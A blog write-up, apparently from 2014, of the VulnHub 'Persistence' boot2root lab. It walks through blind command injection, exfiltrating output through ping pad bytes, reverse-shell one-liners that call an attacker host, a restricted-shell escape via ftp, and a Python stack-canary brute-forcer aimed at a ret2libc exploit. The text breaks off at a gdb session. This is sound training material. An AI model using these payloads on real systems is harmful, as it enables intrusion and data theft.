persist we must!
Persistence! A new boot2root hosted @VulnHub, authored by @superkojiman and sagi- definitely got the attention from the community it deserves! Persistence was actually part of a writeup competition launched on September the 7th, and ran up until October th 5th.
This is my experience while trying to complete the challenge. Persistence, once again, challenged me to learn about things that would normally have me just go “meh, next”. As expected, this post is also a very big spoiler if you have not completed it yourself yet, so be warned!
lets get our hands dirty
As usual, the goto tool was Kali Linux, and the normal steps of adding the OVA image to Virtualbox, booting, finding the assigned IP and running a Nmap scan against it was used.
My VM got the IP 192.168.56.104, and the first Nmap result was:
root@kali:~# nmap 192.168.56.104 --reason -sV -p-
Starting Nmap 6.46 ( http://nmap.org ) at 2014-09-18 07:01 SAST
Nmap scan report for 192.168.56.104
Host is up, received reset (0.0037s latency).
Not shown: 65534 filtered ports
Reason: 65534 no-responses
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack nginx 1.4.7
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4131.90 seconds
Not exactly much to work with, but its something at least! We know now that according to the web server banners, we are facing nginx. A welcome change to the usual apache stuff we see! A quick and nasty Google for nginx 1.4.7 exploits also did not return with any really interesting results. Not a problem really.
Browsing to the site did not reveal anything interesting. A creepy image of melting clocks (what…) with the page sources serving it being minimal and uninteresting too. Manually poking about the web paths (for things like robots.txt etc) also did not reveal anything. The first hint however came when I fiddled with the index page location.
By default, most web servers will serve the default index page when no location is specified from the web root. So, I tried index.html
, and got the normal landing. When I requested index.php
though, things changed drastically:
root@kali:~# curl -v 192.168.56.104/index.php
* About to connect() to 192.168.56.104 port 80 (#0)
* Trying 192.168.56.104...
* connected
* Connected to 192.168.56.104 (192.168.56.104) port 80 (#0)
> GET /index.php HTTP/1.1
> User-Agent: curl/7.26.0
> Host: 192.168.56.104
> Accept: */*
* additional stuff not fine transfer.c:1037: 0 0
* HTTP 1.1 or later with persistent connection, pipelining supported
< HTTP/1.1 404 Not Found
< Server: nginx/1.4.7
< Date: Thu, 18 Sep 2014 07:28:18 GMT
< Content-Type: text/html
< Transfer-Encoding: chunked
< Connection: keep-alive
< X-Powered-By: PHP/5.3.3
No input file specified.
* Connection #0 to host 192.168.56.104 left intact
* Closing connection #0
As can be seen in the output above, the header X-Powered-By: PHP/5.3.3
is now present, and the output No input file specified.
. I recognized this as the behavior of Nginx when PHP-FPM is unable to locate the .php file it should be serving.
finding that (de)bugger
With this information now gathered, it was time to pull out one of my favorite tools, wfuzz
! With wfuzz
, the plan now was to attempt and discover a potentially interesting web path, or, because I know the web server has the capability of serving up PHP content, attempt to find arb PHP scripts.
My first attempt to search for web paths failed pretty badly. All of the requests responded with a 404. Luckily I was aware of the PHP capabilities, so I set to find arbritary PHP scripts by appending .php to my FUZZ
keyword:
root@kali:~# wfuzz -c -z file,/usr/share/wordlists/wfuzz/general/medium.txt --hc 404 http://192.168.56.104/FUZZ.php
********************************************************
* Wfuzz 2.0 - The Web Bruteforcer *
********************************************************
Target: http://192.168.56.104/FUZZ.php
Payload type: file,/usr/share/wordlists/wfuzz/general/medium.txt
Total requests: 1660
==================================================================
ID Response Lines Word Chars Request
==================================================================
00434: C=200 12 L 28 W 357 Ch " - debug"
Yay. wfuzz
is stupidly fast and finished the above in like 4 seconds. Browsing to http://192.168.56.101/debug.php showed us a input field labeled “Ping address:” and a submit button
“Command injection?”, was the first thought here.
blind command injection
I started by entering a valid IP address that had tcpdump
listening to test if the script is actually running a ping like it says …
root@kali:~# tcpdump icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
07:46:15.503023 IP 192.168.56.104 > 192.168.56.102: ICMP echo request, id 64004, seq 1, length 64
07:46:15.503040 IP 192.168.56.102 > 192.168.56.104: ICMP echo reply, id 64004, seq 1, length 64
07:46:16.503729 IP 192.168.56.104 > 192.168.56.102: ICMP echo request, id 64004, seq 2, length 64
07:46:16.503768 IP 192.168.56.102 > 192.168.56.104: ICMP echo reply, id 64004, seq 2, length 64
07:46:17.503180 IP 192.168.56.104 > 192.168.56.102: ICMP echo request, id 64004, seq 3, length 64
07:46:17.503260 IP 192.168.56.102 > 192.168.56.104: ICMP echo reply, id 64004, seq 3, length 64
07:46:18.502811 IP 192.168.56.104 > 192.168.56.102: ICMP echo request, id 64004, seq 4, length 64
07:46:18.502842 IP 192.168.56.102 > 192.168.56.104: ICMP echo reply, id 64004, seq 4, length 64
… which it was. What is important to note here is that we have 4 echo requests.
I then proceeded to modify the input attempting to execute other commands too. None of my attempts returned any output to the browser, however, sending the field ;exit 0;
caused the HTTP request to complete almost instantly while no ping requests were observed on the tcpdump
. This had me certain that this field was vulnerable to a command injection vulnerability.
This is all good, but not getting any output makes it really had to work with this. So, the next steps were to try and get a reverse/bind shell out of this command injection vulnerability.
I tried the usual culprits: nc <ip> <port> -e /bin/bash
; bash -i >& /dev/tcp/<ip>/<port> 0>&1
; php -r '$sock=fsockopen("<ip>",<port>);exec("/bin/sh -i <&3 >&3 2>&3");'
. None of them worked. Eventually I started to realize that I may have a much bigger problem here. What if none of these programs (nc/bash/php) are either not executable by me or simply not in my PATH? What if there was a egress packet filter configured?
blind command injection - file enumeration
Ok, so I took one step back and had to rethink my strategy. I have blind command execution, but how am I going to find out what else is going on on the filesystem? Up to now I have simply assumed too much.
I thought I should try and see if I can confirm the existence of files. To do this, I used a simple bash if [ -f /file ]
statement, with a single ping for success, and 2 pings for a failure. The string for the debug.php
input field looked something like this:
;if [ -f /bin/sh ] ; then ping 192.168.56.102 -c 1 ; else ping 192.168.56.102 -c 2 ; fi
Submitting the above input presented me with a single ping, confirming that /bin/sh
exists.
root@kali:~# tcpdump icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
08:15:53.557994 IP 192.168.56.104 > 192.168.56.102: ICMP echo request, id 63493, seq 1, length 64
08:15:53.558011 IP 192.168.56.102 > 192.168.56.104: ICMP echo reply, id 63493, seq 1, length 64
Checking for something like /bin/sh2
responded with 2 pings, as expected. Awesome. I can now enumerate the existence of files. The concept itself is probably pretty useless, however, if I can confirm the existence of something useful, such as /bin/nc
, I may end up with greater success of a shell!
I continued to test numerous files on numerous locations on disk. I noticed a few files that would generally be available on most Linux systems were not available according to my checker which was really odd. It actually had me doubt the check too. Nonetheless, /usr/bin/python
appeared to be available! I really like python so this had me really happy.
blind command injection - port scanner
I tested a few commands with python -c
, such as sleep etc just to confirm that it is working. I then proceeded to try and get a reverse shell going using it.
No. Luck.
I no longer doubted the fact that I had a working interpreter, however, the question about a egress firewall still remains unanswered. To test this, I decided to code a small, cheap-and-nasty port ‘prober’ so that I can try and determine which port is open outgoing. The idea was to watch my tcpdump
for any tcp traffic comming from this host:
import socket
for port in xrange(1, 65535):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(0.1)
sock.connect_ex(("192.168.56.102", port))
sock.close()
Using my blind command injection, I echoed this content to /tmp/probe.py
via the input field, and then in a subsequent request, ran it using python /tmp/probe.py
. I was relatively certain the script was running as intended as it took the expected amount of time (similar to when I was testing locally) to complete the HTTP request. According to my prober (and assuming it actually worked), there were 0 tcp ports open…
data exfiltration
With no tcp out, I had to once again rethink what I have up to now. The only output I have atm is a true/false scenario. Hardly sufficient to do anything useful. I found the debug.php
file on disk and tried to echo a PHP web shell to the same directory. This also failed.
So, only ping eh. I recall something about ping tunnels/ping shells/ping something. So, I googled some of these solutions. There were a number of things I could try, however, I was wondering how the actual data transport was happening for these things.
Eventually, I came across the -p
argument for ping after reading this blogpost. From man 8 ping
we read:
-p pattern
You may specify up to 16 ``pad'' bytes to fill out the packet you send.
This is useful for diagnosing data-dependent problems in a network.
For example, ``-p ff'' will cause the sent packet to be filled with all ones.
So that changes things. I quickly confirmed that we have xxd
available using my previous enumeration method and we did. Great.
I fired up tcpdump with the -X
flag to show me the packet contents, and tested it out with the following payload for the id
command:
;id| xxd -p -c 16 | while read line; do ping -p $line -c 1 -q 192.168.56.102; done
On the tcpdump
side of things…
root@kali:~/Desktop# tcpdump icmp -X
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
09:18:14.439222 IP 192.168.56.104 > 192.168.56.102: ICMP echo request, id 6920, seq 1, length 64
0x0000: 4500 0054 0000 4000 4001 488a c0a8 3868 E..T..@.@.H...8h
0x0010: c0a8 3866 0800 4b5b 1b08 0001 56a3 1a54 ..8f..K[....V..T
0x0020: f357 0a00 6e67 696e 7829 2067 7569 643d .W..nginx).guid=
0x0030: 3439 3828 6e67 696e 7829 2067 7569 643d 498(nginx).guid=
0x0040: 3439 3828 6e67 696e 7829 2067 7569 643d 498(nginx).guid=
0x0050: 3439 3828 498(
09:18:14.439248 IP 192.168.56.102 > 192.168.56.104: ICMP echo reply, id 6920, seq 1, length 64
0x0000: 4500 0054 a049 0000 4001 e840 c0a8 3866 E..T.I..@..@..8f
0x0010: c0a8 3868 0000 535b 1b08 0001 56a3 1a54 ..8h..S[....V..T
0x0020: f357 0a00 6e67 696e 7829 2067 7569 643d .W..nginx).guid=
0x0030: 3439 3828 6e67 696e 7829 2067 7569 643d 498(nginx).guid=
0x0040: 3439 3828 6e67 696e 7829 2067 7569 643d 498(nginx).guid=
0x0050: 3439 3828 498(
09:18:14.440365 IP 192.168.56.104 > 192.168.56.102: ICMP echo request, id 7176, seq 1, length 64
0x0000: 4500 0054 0000 4000 4001 488a c0a8 3868 E..T..@.@.H...8h
0x0010: c0a8 3866 0800 318a 1c08 0001 56a3 1a54 ..8f..1.....V..T
0x0020: e35a 0a00 6769 6e78 2920 6772 6964 3d34 .Z..ginx).grid=4
0x0030: 3938 286e 6769 6e78 2920 6772 6964 3d34 98(nginx).grid=4
0x0040: 3938 286e 6769 6e78 2920 6772 6964 3d34 98(nginx).grid=4
0x0050: 3938 286e 98(n
09:18:14.440382 IP 192.168.56.102 > 192.168.56.104: ICMP echo reply, id 7176, seq 1, length 64
0x0000: 4500 0054 a04a 0000 4001 e83f c0a8 3866 E..T.J..@..?..8f
0x0010: c0a8 3868 0000 398a 1c08 0001 56a3 1a54 ..8h..9.....V..T
0x0020: e35a 0a00 6769 6e78 2920 6772 6964 3d34 .Z..ginx).grid=4
0x0030: 3938 286e 6769 6e78 2920 6772 6964 3d34 98(nginx).grid=4
0x0040: 3938 286e 6769 6e78 2920 6772 6964 3d34 98(nginx).grid=4
0x0050: 3938 286e 98(n
09:18:14.441191 IP 192.168.56.104 > 192.168.56.102: ICMP echo request, id 7432, seq 1, length 64
0x0000: 4500 0054 0000 4000 4001 488a c0a8 3868 E..T..@.@.H...8h
0x0010: c0a8 3866 0800 ed92 1d08 0001 56a3 1a54 ..8f........V..T
0x0020: f95d 0a00 286e 6769 6e78 290a 6f75 7073 .]..(nginx).oups
0x0030: 3d34 3938 286e 6769 6e78 290a 6f75 7073 =498(nginx).oups
0x0040: 3d34 3938 286e 6769 6e78 290a 6f75 7073 =498(nginx).oups
0x0050: 3d34 3938 =498
09:18:14.441198 IP 192.168.56.102 > 192.168.56.104: ICMP echo reply, id 7432, seq 1, length 64
0x0000: 4500 0054 a04b 0000 4001 e83e c0a8 3866 E..T.K..@..>..8f
0x0010: c0a8 3868 0000 f592 1d08 0001 56a3 1a54 ..8h........V..T
0x0020: f95d 0a00 286e 6769 6e78 290a 6f75 7073 .]..(nginx).oups
0x0030: 3d34 3938 286e 6769 6e78 290a 6f75 7073 =498(nginx).oups
0x0040: 3d34 3938 286e 6769 6e78 290a 6f75 7073 =498(nginx).oups
0x0050: 3d34 3938 =498
Mind. Blown.
In case you don’t see it, we have extracts of the id
command in the request/response packets like 98(nginx).grid=4. While this is not really fun to decipher, and with commands that produce a lot of output even worse, it was in fact something to work with!
I fiddled around with this for a little while longer, trying to make the output a little more readable. Eventually I fired up scapy and just printed the data section of the packet. Not much better, but with a little more effort I am sure you can get something very workable out of it.
>>> sniff(filter="icmp[icmptype] == 8 and host 192.168.56.104", prn=lambda x: x.load)
ؤT�nginx) guid=498(nginx) guid=498(nginx) guid=498(
ؤT
ginx) grid=498(nginx) grid=498(nginx) grid=498(n
ؤT�(nginx)
oups=498(nginx)
oups=498(nginx)
oups=498
sysadmin-tool
So with actual output to work with, I can almost say I have shell, however, it’s crap. Here I had many options to go for. Do I try and get one of those ping tunnels up to shell with? Or something else.
At one stage I ran ls
as the command trying to see if there was anything in the web path that I may not have found yet. A file called sysadmin-tool was revealed. I browsed to the file which pushed it as a download for me, and saved it locally. I then ran the bin through strings
:
root@kali:~# strings sysadmin-tool
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
chroot
strncmp
puts
setreuid
mkdir
rmdir
chdir
system
__libc_start_main
GLIBC_2.0
PTRh
[^_]
Usage: sysadmin-tool --activate-service
--activate-service
breakout
/bin/sed -i 's/^#//' /etc/sysconfig/iptables
/sbin/iptables-restore < /etc/sysconfig/iptables
Service started...
Use avida:dollars to access.
/nginx/usr/share/nginx/html/breakout
From this alone we can deduce that when run, it may modify the firewall. It also looks like it contains some credentials, so I took note of those too. I then tried to run the command, followed by a nmap scan:
;./sysadmin-tool --activate-service| xxd -p -c 16 | while read line; do ping -p $line -c 1 -q 192.168.56.102; done
root@kali:~# nmap 192.168.56.104 --reason -sV -p-
Starting Nmap 6.46 ( http://nmap.org ) at 2014-09-18 09:46 SAST
Nmap scan report for 192.168.56.104
Host is up, received reset (0.0017s latency).
Not shown: 65533 filtered ports
Reason: 65533 no-responses
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)
80/tcp open http syn-ack nginx 1.4.7
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6637.05 seconds
Yay! SSH.
shell and breakout as avida
Using the information that looked like credentials retrieved in the previous section, I proceeded to SSH into the server:
root@kali:~/Desktop/persistence# ssh avida@192.168.56.104
The authenticity of host '192.168.56.104 (192.168.56.104)' can't be established.
RSA key fingerprint is 37:22:da:ba:ef:05:1f:77:6a:30:6f:61:56:7b:47:54.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.56.104' (RSA) to the list of known hosts.
avida@192.168.56.104's password: # dollars
Last login: Thu Sep 18 05:57:30 2014
-rbash-4.1$
Op success. Or is it? I immediately noticed the prompt as rbash
, aka restricted bash. :( Having a look around, I was in fact very limited to what I can do. Most annoyingly, I was unable to run commands with a /
in them.
-rbash-4.1$ /bin/bash
-rbash: /bin/bash: restricted: cannot specify `/' in command names
So the next logical step was to attempt ‘breaking out’ of this shell so that I can have a better look around. I was able to cat say /etc/passwd
, but that only gets you that far :P
After quite some time and some research, it became apparent that the well known breakouts from rbash are not possible. I was unable to edit my PATH, change files and re-login or use the classic vi
:shell
breakout. Eventually (and out of desperation), I focussed my attention to ftp
. Opening ftp
, and typing help
at the prompt, I studied each available command carefully. In the list was a exclamation mark(!), which I typed and pressed enter:
-rbash-4.1$ ftp
ftp> !
+rbash-4.1$ /bin/bash
bash-4.1$
I got dropped into another rbash
shell, however this time with a +. So, I went for /bin/bash
and… w00t? I exported a new PATH to my environment, and all of those annoying rbash restrictions were gone. Thank goodness!
the wopr game
During the enumeration done while still stuck with rbash
, I noticed that the machine was listening for connections on tcp/3333 locally when inspecting the output of netstat
. Opening a telnet session to this port presented you with a ‘game’:
bash-4.1$ telnet 127.0.0.1 3333
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
[+] hello, my name is sploitable
[+] would you like to play a game?
> yes!
[+] yeah, I don't think so
[+] bye!
Connection closed by foreign host.
bash-4.1$
I asked really, really nicely, but no matter how polite I was, it would just not let me play!
Further inspection showed that the game was possibly run as root from /usr/local/bin/wopr
bash-4.1$ ps -ef | grep wopr
root 1005 1 0 05:42 ? 00:00:00 /usr/local/bin/wopr
root 1577 1005 0 06:43 ? 00:00:00 [wopr] <defunct>
avida 1609 1501 0 06:47 pts/0 00:00:00 grep wopr
bash-4.1$ ls -lah /usr/local/bin/wopr
-rwxr-xr-x. 1 root root 7.7K Apr 28 07:43 /usr/local/bin/wopr
wopr
was also readable to me which was great news! I decided to get a copy of the binary onto my local Kali Linux box, and take a closer look at the internals:
# first, hex encode the file
bash-4.1$ xxd -p -c 36 /usr/local/bin/wopr
7f454c460101010000000000000000000200030001000000c08604083400000080110000
0000000034002000090028001e001b000600000034000000348004083480040820010000
[... snip ...]
38362e6765745f70635f7468756e6b2e6278006d61696e005f696e697400
bash-4.1$
# next, I copied the xxd output from the persistence terminal
# and pasted it into a file called wopr.xxd. Then reverted it
# and redirected the output to `wopr`
root@kali:~# cat wopr.xxd | xxd -r -p > wopr
The idea was to see if there may be a way to exploit this program so that I can execute some commands using it. It is running as root after all…
wopr, stack smashing
Poking around the binary, I mostly used gdb
along with peda.
Checksec revealed that this binary was compiled with quite a few security features built in.
root@kali:~# gdb -q ./wopr
Reading symbols from persistence/wopr...(no debugging symbols found)...done.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
Digesting the above output should bring us to a few conclusions. A stack canary is present, meaning if we corrupt memory, and dont have a correct canary, the binary may terminate itself as a protection mechanism once it detects the incorrect canary. Secondly, the binary is compiled to mark the stack as non executable. Any potential shellcode that we write here will not be executed. Lastly, the GOT relocation is set to read only, meaning function locations are resolved at the beginning of execution and the GOT is then marked as read only resulting in the inability to rewrite plt type lookups.
With all of that in mind, I ran the binary with the r
command, and made a new telnet session to it.
gdb-peda$ r
[+] bind complete
[+] waiting for connections
[+] logging queries to $TMPLOG
[+] got a connection
[New process 26936]
[Inferior 2 (process 26936) exited normally]
Warning: not running or target is remote
gdb-peda$
When the new connection came in, a notice of a new process appears. Disassembling the main function gives us an indication that the process is doing a fork()
gdb-peda$ disass main
Dump of assembler code for function main:
[.. snip ..]
0x080489fd <+543>: mov DWORD PTR [esp],0x8048cb2
0x08048a04 <+550>: call 0x804866c <puts@plt>
0x08048a09 <+555>: call 0x804867c <fork@plt> # <--
0x08048a0e <+560>: test eax,eax
0x08048a10 <+562>: jne 0x8048b0e <main+816>
0x08048a16 <+568>: mov DWORD PTR [esp+0x8],0x21
0x08048a1e <+576>: mov DWORD PTR [esp+0x4],0x8048cc8
0x08048a26 <+584>: mov eax,DWORD PTR [ebp-0x22c]
0x08048a2c <+590>: mov DWORD PTR [esp],eax
0x08048a2f <+593>: call 0x804858c <write@plt>
[.. snip ..]
End of assembler dump.
gdb-peda$
Why is the fork()
so important!? We will see in a bit just hang on. :)
So back to fuzzing wopr, I proceeded to send some arbtritary input via the telnet session. I noticed once I had sent more than 30 characters as input, wopr would freak out! This is a good freak out btw :D
Sending 30 x A’s results in:
gdb-peda$ [+] got a connection
*** stack smashing detected ***: wopr terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x40)[0xb7f5ebb0]
/lib/i386-linux-gnu/libc.so.6(+0xeab6a)[0xb7f5eb6a]
wopr[0x80487dc]
wopr[0x8048ad6]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xe6)[0xb7e8ae36]
wopr[0x80486e1]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 1184792 wopr
08049000-0804a000 r--p 00000000 08:01 1184792 wopr
0804a000-0804b000 rw-p 00001000 08:01 1184792 wopr
0804b000-0806c000 rw-p 00000000 00:00 0 [heap]
b7e3b000-b7e57000 r-xp 00000000 08:01 1573598 /lib/i386-linux-gnu/libgcc_s.so.1
b7e57000-b7e58000 rw-p 0001b000 08:01 1573598 /lib/i386-linux-gnu/libgcc_s.so.1
b7e73000-b7e74000 rw-p 00000000 00:00 0
b7e74000-b7fbd000 r-xp 00000000 08:01 1580474 /lib/i386-linux-gnu/libc-2.13.so
b7fbd000-b7fbe000 ---p 00149000 08:01 1580474 /lib/i386-linux-gnu/libc-2.13.so
b7fbe000-b7fc0000 r--p 00149000 08:01 1580474 /lib/i386-linux-gnu/libc-2.13.so
b7fc0000-b7fc1000 rw-p 0014b000 08:01 1580474 /lib/i386-linux-gnu/libc-2.13.so
b7fc1000-b7fc4000 rw-p 00000000 00:00 0
b7fde000-b7fe1000 rw-p 00000000 00:00 0
b7fe1000-b7fe2000 r-xp 00000000 00:00 0 [vdso]
b7fe2000-b7ffe000 r-xp 00000000 08:01 1579852 /lib/i386-linux-gnu/ld-2.13.so
b7ffe000-b7fff000 r--p 0001b000 08:01 1579852 /lib/i386-linux-gnu/ld-2.13.so
b7fff000-b8000000 rw-p 0001c000 08:01 1579852 /lib/i386-linux-gnu/ld-2.13.so
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
So it looks like we may have a buffer overflow here. What is important though is the backtrace shows that the last fail was in __fortify_fail
. __fortify_fail
is normally just a error reporter, as was called because the stack cookie check failed. Remember the CANARY we detected earlier with the checksec
output? With that knowledge, is almost safe to assume that byte 30 is where the stack canary starts. This means that if we want to corrupt more memory further up the stack (which is what we want actually), we need to find a way to know what the canary value is.
But lets not stop there. I continued to place more A’s into the input until at byte 39 I noticed 41 (hex for A) in the backtrace. By the time I had 42 A’s, the backtrace had a full 4 bytes of 41.
[+] got a connection
*** stack smashing detected ***: wopr terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x40)[0xb7f5ebb0]
/lib/i386-linux-gnu/libc.so.6(+0xeab6a)[0xb7f5eb6a]
wopr[0x80487dc]
[0x41414141] #<-- EIP?
Was this where EIP was? With the debugging we have done thus far, lets assume that the stack layout looks something like this:
- -> - -> [42 Bytes in Total] - -> - >
[ 30 Bytes Data ] [ Cookie ] [ 4 Bytes ] [ EIP ]
- -> - -> [42 Bytes in Total] - -> - >
wopr - stack canary bruteforce
This part of the challenge took me the second longest to nail. I have zero knowledge of stack cookies, let alone experience in bypassing them. So I had to pack out my best Google-fu abilities and learn all I can about bypassing these cookies.
A lot was learnt here. The 3 primary resources that really helped me get the ball rolling into something workable was
- Phrack Issue 67
- The Art Of ELF: Analysis and Exploitations
- Fusion level04 write-up (SPOILER ALERTS for another CTF)
Now, remember I mentioned fork()
earlier on? From the Phrack article, we can read some interesting ideas about binaries that make use of fork()
and how this affects stack cookies.
From man 2 fork
’s description:
DESCRIPTION
Fork() causes creation of a new process. The new process (child process)
is an exact copy of the calling process (parent process) except for the
following:
[.. snip ..]
What this means for us then is that every time we have a new fork()
happen, the stack cookie will supposedly remain constant between forks as it comes from the parent. ”Soooooooo what?” I hear you say! Well, that means we can attempt to try all of the possible ASCII characters as hex, 4 times (for 4 bytes), to try and brute force this value!
The theory for this was great, but the practice was a different story. In order to perform a successful brute force, at the very minimum, I needed a reliable way to determine a correct and incorrect value. With my local copy of wopr
, I can just watch the console output, however, I don’t have that luxury on the Persistence VM!
While thinking about this problem, I started to code a little script to start the juices flowing in getting this brute force right. The basic idea was to have a nested xrange(4) -> xrange(255) concat the values to a variable as they are determined. While tinkering with the script and the TCP socket code, I started to realize that there may actually be a way to remotely determine a failed and successful attempt!
When a string of less than 30 A’s is sent, the server will send a “[+] bye!” message before closing the socket. More than 30 A’s, and the socket is killed before the bye
root@kali:~# telnet 127.0.0.1 3333
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
[+] hello, my name is sploitable
[+] would you like to play a game?
> A
[+] yeah, I don't think so
[+] bye! # <-- We have a bye!
Connection closed by foreign host.
root@kali:~# telnet 127.0.0.1 3333
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
[+] hello, my name is sploitable
[+] would you like to play a game?
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[+] yeah, I don't think so
Connection closed by foreign host. # <-- No bye!
This was perfect and exactly what was needed to complete the brute force script! All I had to do was check for the word bye in the last socket receive to know if we have succeeded or not. The resultant script was therefore:
import socket
import sys
payload = "A" * 30 # amount of bytes before the first canary bit is hit
canary = "" # the canary
# start the canary brute loop. We want to brute 4 bytes ...
for x in xrange(1,5):
# ... and try all possibilities
for canary_byte in xrange(0, 256):
# prepare the byte
hex_byte = chr(canary_byte)
# prepare the payload
send = payload + canary + hex_byte
print "[+] Trying: '\\x{0}' in payload '%s' (%d:%d/255)".format(hex_byte.encode("hex")) % (send, x, canary_byte)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1', 3333))
# get the inital banners
sock.recv(35) # [+] hello, my name is sploitable\n
sock.recv(40) # [+] would you like to play a game?\n
sock.recv(5) # >
# send the payload
sock.send(send)
sock.recv(27) # [+] yeah, I don't think so\n
# if we have a OK response, then we will have this last part
# as '[+] bye!\n' populated, if its wrong, not
data = sock.recv(64) # [+] bye!\n
if "bye" in data:
print "[!!] Found a possible canary value of '{0}'!".format(hex_byte.encode("hex"))
canary += hex_byte
sock.close()
break
sock.close()
# if we cant even find the first byte, we failed already
if len(canary) <= 0:
print "[-] Unable to even find the first bit. No luck"
sys.exit(0)
if len(canary) > 0:
print "[+] Canary seems to be {0}".format(canary.encode("hex"))
else:
print "[-] Unable to brute canary"
An example run of this would end as follows:
[+] Trying: '\x8d' in payload 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' (4:141/255)
[+] Trying: '\x8e' in payload 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' (4:142/255)
[+] Trying: '\x8f' in payload 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' (4:143/255)
[+] Trying: '\x90' in payload 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' (4:144/255)
[!!] Found a possible canary value of '90'!
[+] Canary seems to be 00ef8d90
Winning. Just to make 100% sure I actually have the correct canary, I made another small socket program just to append the canary to the initial 30 A’s and send it. No stack smashing message appeared and we got the bye message :)
wopr - NX and EIP
If you can recall from earlier, wopr
was compiled with the NX bit set. Effectively that means we can’t simply exploit this vulnerability by setting EIP to the beginning of shellcode we simply sent along with the payload as the stack is not executable. Thankfully though, there is a concept such as ret2libc.
The idea behind ret2libc is to steer the application flow to useful commands within libc itself, and get code execution that way. A very popular function to use is the system()
command, for almost obvious reasons.
I decided to make use of the same method. I quickly checked to see if ASLR was enabled on the Persistence VM:
bash-4.1$ ldd /usr/local/bin/wopr
linux-gate.so.1 => (0xb7fff000)
libc.so.6 => /lib/libc.so.6 (0xb7e62000)
/lib/ld-linux.so.2 (0x00110000)
bash-4.1$ ldd /usr/local/bin/wopr
linux-gate.so.1 => (0xb7fff000)
libc.so.6 => /lib/libc.so.6 (0xb7e62000)
/lib/ld-linux.so.2 (0x00110000)
The addresses for the linked files remained static between all of the lookups, indicating that ASLR was not enabled. This makes things slightly easier. Because this is a 32bit OS though, even if it was enabled it would not have been too much of a issue :)
The next step was to find out where system() lived in libc. This is also a very easy step to perform. A interesting note here. GDB was using the SHELL env variable for commands, and because I have come from rbash, it was still set to that. A simple export SHELL=/bin/bash
fixed it though. Also, just to be clear, I am now doing this address lookup on the Persistence VM, however I had to do exactly the same thing on the Kali VM where I was building my exploit.
bash-4.1$ export SHELL=/bin/bash
bash-4.1$ gdb -q /usr/bin/telnet
Reading symbols from /usr/bin/telnet...(no debugging symbols found)...done.
Missing separate debuginfos, use: debuginfo-install telnet-0.17-47.el6_3.1.i686
(gdb) b *main # set a breakpoint to stop the flow once we hit the main() func
Breakpoint 1 at 0x7b90
(gdb) r # run the program
Starting program: /usr/bin/telnet
Breakpoint 1, 0x00117b90 in main ()
(gdb) p system # We hit our breakpoint, lets leak the address for system()
$1 = {<text variable, no debug info>} 0xb7e56210 <system>
(gdb)
We find system()
at 0xb7e56210
. I used the telnet binary simply because it is also linked to libc.
So to sum up what we have so far, lets take another look at what the stack will look like now when sending our exploit payload:
- -> - -> [42 Bytes in Total] - -> - >
[ A x 30 ] [ \xff\xff\xff\xff ] [ AAAA ] [ \x10\x62\xe5\xb7 ]
^~ Initial BF ^~ Bruted cookie ^~ system()
- -> - -> [42 Bytes in Total] - -> - >
The address for system()
is ‘backwards’ because we are working with a little endian system. The 4 * A before the address to system()
is simply padding to EIP.
wopr - code exec
This part, by far, took me the longest of the entire challenge!
The next step was to get actual code to execute using system()
. While this may sound trivial, it has challenges of its own. One of the key things I had to realize whilst getting frustrated with this was “to remember, you are trying to make a program do what it is not intended to do, expect difficulty!”.
I tried to put a command in a env variable and failed. I attempted to write a ROP chain and failed.
These failed mostly due to by own lack of understanding, tiredness and frustration. My attempts generally was to get a script /tmp/runme
to run. runme
was a bash script that will compile a small C shell, change ownership and set the suid bit. Yes, Persistence had gcc
installed :)
“fail” * 100000 * 100000. That is a rough guestimate of the amount of times I tried this part.
Eventually, I finally came to the realization that I may have to search for other avenues of code execution. In fact, I completely stepped away from the VM and did something else.
Returning later with a fresh look, I run wopr through strings
one more time:
root@kali:~/Desktop/persistence# strings wopr
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
[.. snip ..]
[^_]
[+] yeah, I don't think so
socket
setsockopt
bind
[+] bind complete
listen
/tmp/log # <<<<<<<<<<<<<<<<<<<<<<<<<<
TMPLOG
[+] waiting for connections
[+] logging queries to $TMPLOG
accept
[+] got a connection
[+] hello, my name is sploitable
[+] would you like to play a game?
[+] bye!
See that? Can you see that… We have /tmp/log
RIGHT THERE!
I confirmed that /tmp/log
wasn’t actually in use, and moved my original /tmp/runme
script there.
The only thing that was left now was to find the location of the string /tmp/log
in wopr
, push that to the stack, and ride the bus home. So lets do the hard work required to find this valuable piece of the puzzle:
root@kali:~# gdb -q ./wopr
Reading symbols from wopr...(no debugging symbols found)...done.
gdb-peda$ b *main
